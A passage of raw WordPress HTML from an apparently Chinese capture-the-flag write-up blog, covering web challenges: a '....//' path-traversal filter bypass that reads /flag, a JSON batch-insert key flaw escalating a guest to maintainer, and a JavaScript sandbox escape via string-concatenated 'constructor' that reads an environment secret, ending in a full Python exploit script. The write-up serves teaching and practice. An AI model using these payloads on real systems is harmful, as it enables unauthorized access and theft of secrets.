src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3295\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u8d8a\u6743\u767b\u5f55\u540e\uff0c\u53d1\u73b0\u6709\u4e00\u4e2a\u5907\u4efd\u7684\u7ba1\u7406\u5668<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-285-1024x206.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"206\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-285-1024x206.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3296\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u53d1\u73b0\u5907\u4efd\u63a5\u53e3\u5177\u6709 <code>file<\/code> \u53c2\u6570\uff0c\u5c1d\u8bd5\u8bfb\u53d6 \/flag<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-286-1024x289.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"289\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-286-1024x289.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3297\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\u6d4b\u8bd5\u53d1\u73b0\u540e\u7aef\u5bf9\u8def\u5f84\u7a7f\u8d8a\u505a\u4e86\u66ff\u6362\u8fc7\u6ee4\uff08\u5927\u6982\u7387\u662f replace('..\/', '')\uff09\u3002\n\u91c7\u7528\u53cc\u5199\u7ed5\u8fc7\u6280\u5de7\uff0c\u4f7f\u7528 ....\/\/\uff0c\u5f53\u540e\u7aef\u628a\u4e2d\u95f4\u7684 ..\/ \u5220\u6389\u540e\uff0c\u5269\u4e0b\u7684\u5b57\u7b26\u521a\u597d\u91cd\u65b0\u62fc\u63a5\u6210\u5b8c\u6574\u7684 ..\/\u3002\n\u6700\u7ec8 Payload\uff1a\/api\/admin?action=backup&amp;file=....\/\/....\/\/....\/\/....\/\/flag<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-287-1024x245.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"245\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-287-1024x245.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3298\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>XMCTF{ec0da774-4571-4983-9845-0d56848251ab}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u9189\u91cc\u6311\u706f\u770b\u5251<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-288.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"840\" height=\"530\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-288.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3299\"  sizes=\"auto, (max-width: 840px) 100vw, 840px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-289-1024x518.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"518\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-289-1024x518.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3300\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u6709\u6e90\u7801<\/p>\n\n\n\n<p>\u6f0f\u6d1e1<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-290.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"949\" height=\"255\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-290.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3301\"  sizes=\"auto, (max-width: 949px) 100vw, 949px\" \/><\/div><\/figure>\n\n\n\n<p>\u53ef\u4ee5\u53d1\u73b0\u6570\u636e\u5e93\u952e\u503c\u622a\u65ad\uff08\u8d8a\u6743\u81f3 maintainer\uff09<\/p>\n\n\n\n<p>\u63d0\u6743\u903b\u8f91\u4f4d\u7f6e\uff1a <code>getEffectiveCapability<\/code> \u51fd\u6570<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>COALESCE(role, 'maintainer') AS role,\nCOALESCE(lane, 'release') AS lane,\n\n\u6f0f\u6d1e\u539f\u7406\uff1a \u670d\u52a1\u7aef\u5728\u5904\u7406\u6279\u91cf\u7684 JSON \u63d2\u5165\u65f6\uff0c\u53ea\u6839\u636e\u6570\u7ec4\u7b2c\u4e00\u9879 rows&#91;0] \u7684\u952e\u6765\u6784\u5efa\u540e\u7eed\u6240\u6709\u63d2\u5165\u884c\u7684\u7ed3\u6784\u3002\n\u5982\u679c\u4f60\u53d1\u9001\u7684\u7b2c\u4e00\u4e2a\u5bf9\u8c61\u6545\u610f\u5220\u6389 role \u548c lane\uff08\u901a\u8fc7\u8bbe\u4e3a false\uff09\uff0c\u90a3\u4e48\u7b2c\u4e8c\u9879\uff08\u5373\u4f7f\u6392\u5728\u540e\u9762\u751f\u6548\uff09\u7684 role \u548c lane \u4e5f\u4f1a\u88ab\u4e22\u5f03\uff0c\u5165\u5e93\u53d8\u6210 NULL\u3002\u8bfb\u53d6\u65f6\uff0cSQL \u7684 COALESCE \u9047\u5230 NULL \u4f1a\u5c06\u5176\u8f6c\u6362\u4e3a\u9ed8\u8ba4\u7684\u9ad8\u6743\u9650 maintainer \u548c release\u3002<\/code><\/pre>\n\n\n\n<p>\u6f0f\u6d1e2<\/p>\n\n\n\n<p>JS \u6c99\u7bb1\u9003\u9038\u7ed5\u8fc7 \u6f0f\u6d1e\u51fd\u6570lintExpression \u51fd\u6570<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-291.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"829\" height=\"225\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-291.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3302\"  sizes=\"auto, (max-width: 829px) 100vw, 829px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\u6f0f\u6d1e\u539f\u7406\uff1a WAF \u53ea\u505a\u4e86\u57fa\u7840\u7684\u5b57\u7b26\u4e32\u5305\u542b\u4e86\u62e6\u622a\uff08\u5982 constructor, process\uff09\uff0c\u4f46\u6700\u7ec8\u4ee3\u7801\u6254\u8fdb\u4e86 new Function \u4e2d\u6267\u884c\u3002\u7531\u4e8e\u4e0a\u4e0b\u6587\u4e2d\u66b4\u9732\u4e86 tools.sha1\uff0c\u53ef\u4ee5\u901a\u8fc7\u5b57\u7b26\u4e32\u62fc\u63a5\u7ed5\u8fc7\u6b63\u5219\uff1a\ntools.sha1&#91;'constr' + 'uctor']('return pr' + 'ocess.env.RUNNER_KEY')()<\/code><\/pre>\n\n\n\n<p>\u89e3\u9898\uff0c<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1.\u83b7\u53d6\u8eab\u4efd<\/h3>\n\n\n\n<p>POST \/api\/auth\/guest<\/p>\n\n\n\n<p>\u8fd4\u56de\u5305\u4e2d\u7684 <code>token<\/code> \u548c <code>sid<\/code>\u3002\u540e\u9762\u6240\u6709\u8bf7\u6c42\u90fd\u5728 Header \u4e2d\u52a0\u4e0a <code>Authorization: Bearer &lt;token&gt;<\/code>\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-292-1024x530.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"530\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-292-1024x530.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3303\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n  \"ok\": true,\n  \"token\": \"eyJleHAiOjE3NzQ3NTM1NTY3NTEsImlhdCI6MTc3NDc1MjA1Njc1MSwibm9uY2UiOiIwZTQ2YWFhMzk1ZDI4ODNmIiwicGxhbiI6InByZXZpZXctbGFuZSIsInJvbGUiOiJndWVzdCIsInNpZCI6InNpZF8wMWYxYzUwNzIzMjcifQ.c0f8d1f256cadd91ec86909e98e1718b5efa4749998b7b55dcd858d1bbf78def\",\n  \"claims\": {\n    \"sid\": \"sid_01f1c5072327\",\n    \"role\": \"guest\",\n    \"iat\": 1774752056751,\n    \"exp\": 1774753556751,\n    \"plan\": \"preview-lane\",\n    \"nonce\": \"0e46aaa395d2883f\"\n  }\n}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">2.\u6253\u5165\u7a7a\u6570\u636e\uff0c\u8d8a\u6743<\/h3>\n\n\n\n<p>POST \/api\/caps\/sync<\/p>\n\n\n\n<p>payload<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\"ops\": &#91;{\"source\": \"a\", \"keepRole\": false, \"keepLane\": false}, {\"source\": \"z\"}]}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-293-1024x535.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"535\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-293-1024x535.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3304\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u5b8c\u6574\u8bf7\u6c42\u5305<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/api\/caps\/sync HTTP\/1.1\nHost: 80-2c6ec895-cdf9-4d7a-9a16-1d578d4c421b.challenge.ctfplus.cn\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/141.0.0.0 Safari\/537.36\nAccept: application\/json, text\/plain, *\/*\nAccept-Language: zh-CN,zh;q=0.9\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\nContent-Type: application\/json\nAuthorization: Bearer eyJleHAiOjE3NzQ3NTM1NTY3NTEsImlhdCI6MTc3NDc1MjA1Njc1MSwibm9uY2UiOiIwZTQ2YWFhMzk1ZDI4ODNmIiwicGxhbiI6InByZXZpZXctbGFuZSIsInJvbGUiOiJndWVzdCIsInNpZCI6InNpZF8wMWYxYzUwNzIzMjcifQ.c0f8d1f256cadd91ec86909e98e1718b5efa4749998b7b55dcd858d1bbf78def\nContent-Length: 101\n\n{\n  \"ops\": &#91;\n    {\"source\": \"a\", \"keepRole\": false, \"keepLane\": false},\n    {\"source\": \"z\"}\n  ]\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-294-1024x644.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"644\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-294-1024x644.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3305\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u6210\u529f<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">3.\u6c99\u7bb1\u9003\u9038\u62ff Key<\/h3>\n\n\n\n<p>POST \/api\/release\/execute<\/p>\n\n\n\n<p>payload<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\"expression\": \"tools.sha1&#91;'constr' + 'uctor']('return pr' + 'ocess.env.RUNNER_KEY')()\"}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-295-1024x555.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"555\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-295-1024x555.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3306\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u62ff\u5230<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>iVWHCRbuixFag3DJZkD1KtKPnzjwwQbMtMnc3nTP<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">4.\u8fd4\u56de\u5305\u4e2d\u7684 nonce<\/h3>\n\n\n\n<p><strong>POST<\/strong> \/api\/release\/challenge<\/p>\n\n\n\n<p><strong>\u8bb0\u5f55\u4e0b\uff1a<\/strong> \u8fd4\u56de\u5305\u4e2d\u7684 <code>nonce<\/code>\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u585e\u4e00\u4e2a Content-Type \u548c\u4e00\u4e2a\u7a7a\u7684 JSON \u5b9e\u4f53 {}\uff0c\u5e76\u628a Content-Length \u8bbe\u4e3a 2  \u5426\u5219\u4e00\u76f4\u6ca1\u6709\u8fd4\u56de\u5305<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-296-1024x562.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"562\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-296-1024x562.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3307\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u62ff\u5230<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>7d5d8f27bade54527473f221<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">5.<strong>\u672c\u5730\u7b97 Hash\uff0c\u62ff flag<\/strong><\/h3>\n\n\n\n<p>\u6253\u5f00\u7ec8\u7aef\uff0c\u6309\u683c\u5f0f <code>sid:nonce:RUNNER_KEY<\/code> \u62fc\u63a5\u5b57\u7b26\u4e32\u3002<\/p>\n\n\n\n<p>\u6267\u884c\u547d\u4ee4\u7b97 SHA1<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>echo -n \"sid_01f1c5072327:7d5d8f27bade54527473f221:iVWHCRbuixFag3DJZkD1KtKPnzjwwQbMtMnc3nTP\" | sha1sum<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-297-1024x69.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"69\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-297-1024x69.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3308\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\u5f97\u5230proof\uff1a5a8598a5a61c22ddf80453722241842037d2a8aa<\/code><\/pre>\n\n\n\n<p>\u8bf7\u6c42\u5c31\u884c\u4e86 POST \/api\/release\/claim<\/p>\n\n\n\n<p>payload<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\"nonce\": \"03b30e35d9069562ec0c41b2\", \"proof\": \"&lt;SHA1\u503c&gt;\"}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-298-1024x606.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"606\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-298-1024x606.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3309\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u8fc7\u671f\u4e86&#8230;\u53cd\u6b63\u601d\u8def\u5c31\u662f\u8fd9\u4e2a\u601d\u8def \u624b\u52a8\u53ef\u4ee5\u5feb\u4e00\u70b9\u5c31\u884c\u4e86<\/p>\n\n\n\n<p>\u76f4\u63a5exp\u4e86<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests, hashlib, sys\n\ndef solve(url):\n    s = requests.Session()\n\n    auth_res = s.post(f\"{url}\/api\/auth\/guest\").json()\n    token = auth_res&#91;\"token\"]\n    sid = auth_res&#91;\"claims\"]&#91;\"sid\"]\n    headers = {\"Authorization\": f\"Bearer {token}\"}\n\n    s.post(f\"{url}\/api\/caps\/sync\", json={\n        \"ops\": &#91;\n            {\"source\": \"a\", \"keepRole\": False, \"keepLane\": False},\n            {\"source\": \"z\"}\n        ]\n    }, headers=headers)\n\n    exec_res = s.post(f\"{url}\/api\/release\/execute\", json={\n        \"expression\": \"tools.sha1&#91;'constr' + 'uctor']('return pr' + 'ocess.env.RUNNER_KEY')()\"\n    }, headers=headers).json()\n    runner_key = exec_res&#91;\"result\"]\n\n    chal_res = s.post(f\"{url}\/api\/release\/challenge\", headers=headers).json()\n    nonce = chal_res&#91;\"nonce\"]\n\n    proof = hashlib.sha1(f\"{sid}:{nonce}:{runner_key}\".encode()).hexdigest()\n\n    claim_res = s.post(f\"{url}\/api\/release\/claim\", json={\n        \"nonce\": nonce, \"proof\": proof\n    }, headers=headers).json()\n\n    print(claim_res.get(\"flag\", claim_res))\n\nif __name__ == \"__main__\":\n    solve(sys.argv&#91;1] if len(sys.argv) &gt; 1 else \"http:\/\/80-2c6ec895-cdf9-4d7a-9a16-1d578d4c421b.challenge.ctfplus.cn\")<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-299-1024x106.png'><img class=\"lazyload lazyload-style-1\" 